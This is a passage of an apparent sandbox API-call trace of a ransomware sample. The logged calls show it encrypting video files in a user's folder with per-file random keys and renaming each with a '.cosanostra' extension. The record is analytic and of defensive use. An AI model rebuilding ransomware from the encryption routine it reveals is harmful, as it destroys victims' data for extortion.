lpNewFilePointer=0xffffffff) returned 1 [0089.979] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6ec, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6ec*=0x2800, lpOverlapped=0x0) returned 1 [0089.979] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.979] WriteFile (in: hFile=0x154, lpBuffer=0x251f72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6ec, lpOverlapped=0x0 | out: lpBuffer=0x251f72c*, lpNumberOfBytesWritten=0x251f6ec*=0x4, lpOverlapped=0x0) returned 1 [0089.979] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6ec, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6ec*=0x30, lpOverlapped=0x0) returned 1 [0089.979] CloseHandle (hObject=0x154) returned 1 [0089.979] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\p6igkTLmX3HsLGAbZ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\p6igktlmx3hslgabz.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\p6igkTLmX3HsLGAbZ.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\p6igktlmx3hslgabz.swf.cosanostra")) returned 1 [0089.979] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f728 | out: pbBuffer=0x251f728) returned 1 [0089.980] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f720*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f720*=0x30) returned 1 [0089.980] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\ljBAOD 3CsRGqCS8A.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\ljbaod 3csrgqcs8a.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.980] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\ljBAOD 3CsRGqCS8A.mkv") returned 105 [0089.980] StrStrW (lpFirst="ljBAOD 3CsRGqCS8A.mkv", lpSrch=".txt") returned 0x0 [0089.980] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.980] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6e4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6e4*=0x2800, lpOverlapped=0x0) returned 1 [0089.981] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.981] WriteFile (in: hFile=0x154, lpBuffer=0x251f724*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6e4, lpOverlapped=0x0 | out: lpBuffer=0x251f724*, lpNumberOfBytesWritten=0x251f6e4*=0x4, lpOverlapped=0x0) returned 1 [0089.981] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6e4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6e4*=0x30, lpOverlapped=0x0) returned 1 [0089.981] CloseHandle (hObject=0x154) returned 1 [0089.981] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\ljBAOD 3CsRGqCS8A.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\ljbaod 3csrgqcs8a.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\ljBAOD 3CsRGqCS8A.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\ljbaod 3csrgqcs8a.mkv.cosanostra")) returned 1 [0089.981] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f728 | out: pbBuffer=0x251f728) returned 1 [0089.982] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f720*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f720*=0x30) returned 1 [0089.982] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\KDJ3MUapE-l4adiHt.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\kdj3muape-l4adiht.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.982] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\KDJ3MUapE-l4adiHt.swf") returned 105 [0089.982] StrStrW (lpFirst="KDJ3MUapE-l4adiHt.swf", lpSrch=".txt") returned 0x0 [0089.983] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.983] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6e4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6e4*=0x2800, lpOverlapped=0x0) returned 1 [0089.983] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.983] WriteFile (in: hFile=0x154, lpBuffer=0x251f724*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6e4, lpOverlapped=0x0 | out: lpBuffer=0x251f724*, lpNumberOfBytesWritten=0x251f6e4*=0x4, lpOverlapped=0x0) returned 1 [0089.983] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6e4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6e4*=0x30, lpOverlapped=0x0) returned 1 [0089.983] CloseHandle (hObject=0x154) returned 1 [0089.983] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\KDJ3MUapE-l4adiHt.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\kdj3muape-l4adiht.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\KDJ3MUapE-l4adiHt.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\kdj3muape-l4adiht.swf.cosanostra")) returned 1 [0089.984] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f720 | out: pbBuffer=0x251f720) returned 1 [0089.984] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f718*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f718*=0x30) returned 1 [0089.984] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\jW9ilouV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\jw9ilouv.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.985] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\jW9ilouV.mkv") returned 96 [0089.985] StrStrW (lpFirst="jW9ilouV.mkv", lpSrch=".txt") returned 0x0 [0089.985] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.985] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6dc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6dc*=0x2800, lpOverlapped=0x0) returned 1 [0089.985] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.985] WriteFile (in: hFile=0x154, lpBuffer=0x251f71c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6dc, lpOverlapped=0x0 | out: lpBuffer=0x251f71c*, lpNumberOfBytesWritten=0x251f6dc*=0x4, lpOverlapped=0x0) returned 1 [0089.986] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6dc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6dc*=0x30, lpOverlapped=0x0) returned 1 [0089.986] CloseHandle (hObject=0x154) returned 1 [0089.986] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\jW9ilouV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\jw9ilouv.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\jW9ilouV.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\jw9ilouv.mkv.cosanostra")) returned 1 [0089.986] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f720 | out: pbBuffer=0x251f720) returned 1 [0089.987] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f718*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f718*=0x30) returned 1 [0089.987] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\fFs qskt8t.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\ffs qskt8t.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.987] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\fFs qskt8t.avi") returned 98 [0089.987] StrStrW (lpFirst="fFs qskt8t.avi", lpSrch=".txt") returned 0x0 [0089.987] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.988] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6dc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6dc*=0x2800, lpOverlapped=0x0) returned 1 [0089.988] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.988] WriteFile (in: hFile=0x154, lpBuffer=0x251f71c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6dc, lpOverlapped=0x0 | out: lpBuffer=0x251f71c*, lpNumberOfBytesWritten=0x251f6dc*=0x4, lpOverlapped=0x0) returned 1 [0089.988] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6dc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6dc*=0x30, lpOverlapped=0x0) returned 1 [0089.988] CloseHandle (hObject=0x154) returned 1 [0089.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\fFs qskt8t.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\ffs qskt8t.avi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\fFs qskt8t.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\ffs qskt8t.avi.cosanostra")) returned 1 [0089.989] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f718 | out: pbBuffer=0x251f718) returned 1 [0089.989] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f710*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f710*=0x30) returned 1 [0089.989] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\5pvel0e8-.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\5pvel0e8-.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.989] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\5pvel0e8-.mkv") returned 97 [0089.989] StrStrW (lpFirst="5pvel0e8-.mkv", lpSrch=".txt") returned 0x0 [0089.990] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.990] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6d4*=0x2800, lpOverlapped=0x0) returned 1 [0089.990] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.990] WriteFile (in: hFile=0x154, lpBuffer=0x251f714*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6d4, lpOverlapped=0x0 | out: lpBuffer=0x251f714*, lpNumberOfBytesWritten=0x251f6d4*=0x4, lpOverlapped=0x0) returned 1 [0089.990] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6d4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6d4*=0x30, lpOverlapped=0x0) returned 1 [0089.990] CloseHandle (hObject=0x154) returned 1 [0089.990] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\5pvel0e8-.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\5pvel0e8-.mkv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\5pvel0e8-.mkv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\5pvel0e8-.mkv.cosanostra")) returned 1 [0089.991] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f718 | out: pbBuffer=0x251f718) returned 1 [0089.991] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f710*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f710*=0x30) returned 1 [0089.991] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\5GGIPpnN.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\5ggippnn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.991] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\5GGIPpnN.mp4") returned 96 [0089.991] StrStrW (lpFirst="5GGIPpnN.mp4", lpSrch=".txt") returned 0x0 [0089.992] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffff8c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.992] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x73a, lpNumberOfBytesWritten=0x251f6d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6d4*=0x73a, lpOverlapped=0x0) returned 1 [0089.992] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.992] WriteFile (in: hFile=0x154, lpBuffer=0x251f714*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6d4, lpOverlapped=0x0 | out: lpBuffer=0x251f714*, lpNumberOfBytesWritten=0x251f6d4*=0x4, lpOverlapped=0x0) returned 1 [0089.992] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6d4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6d4*=0x30, lpOverlapped=0x0) returned 1 [0089.992] CloseHandle (hObject=0x154) returned 1 [0089.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\5GGIPpnN.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\5ggippnn.mp4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\5GGIPpnN.mp4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\5ggippnn.mp4.cosanostra")) returned 1 [0089.994] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f710 | out: pbBuffer=0x251f710) returned 1 [0089.995] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f708*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f708*=0x30) returned 1 [0089.995] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\1a--Ccx20fiEyQ Vs.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\1a--ccx20fieyq vs.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.995] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\1a--Ccx20fiEyQ Vs.mp4") returned 105 [0089.995] StrStrW (lpFirst="1a--Ccx20fiEyQ Vs.mp4", lpSrch=".txt") returned 0x0 [0089.995] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffff2cd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.996] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xd33, lpNumberOfBytesWritten=0x251f6cc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6cc*=0xd33, lpOverlapped=0x0) returned 1 [0089.996] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.996] WriteFile (in: hFile=0x154, lpBuffer=0x251f70c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6cc, lpOverlapped=0x0 | out: lpBuffer=0x251f70c*, lpNumberOfBytesWritten=0x251f6cc*=0x4, lpOverlapped=0x0) returned 1 [0089.996] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6cc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6cc*=0x30, lpOverlapped=0x0) returned 1 [0089.996] CloseHandle (hObject=0x154) returned 1 [0089.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\1a--Ccx20fiEyQ Vs.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\1a--ccx20fieyq vs.mp4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\bLC7IF9TT-I\\1a--Ccx20fiEyQ Vs.mp4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\blc7if9tt-i\\1a--ccx20fieyq vs.mp4.cosanostra")) returned 1 [0089.996] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f710 | out: pbBuffer=0x251f710) returned 1 [0089.996] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f708*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f708*=0x30) returned 1 [0089.996] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\58B-6 IXO.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\58b-6 ixo.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0089.997] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\58B-6 IXO.flv") returned 85 [0089.997] StrStrW (lpFirst="58B-6 IXO.flv", lpSrch=".txt") returned 0x0 [0089.997] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.997] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f6cc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f6cc*=0x2800, lpOverlapped=0x0) returned 1 [0089.997] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.998] WriteFile (in: hFile=0x154, lpBuffer=0x251f70c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f6cc, lpOverlapped=0x0 | out: lpBuffer=0x251f70c*, lpNumberOfBytesWritten=0x251f6cc*=0x4, lpOverlapped=0x0) returned 1 [0089.998] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f6cc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f6cc*=0x30, lpOverlapped=0x0) returned 1 [0089.998] CloseHandle (hObject=0x154) returned 1 [0089.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y96x9XE9EcxFpV1MSNqT\\nuDTgWFii\\58B-6 IXO.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y96x9xe9ecxfpv1msnqt\\nudtgwfii\\58b-6 ixo.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS 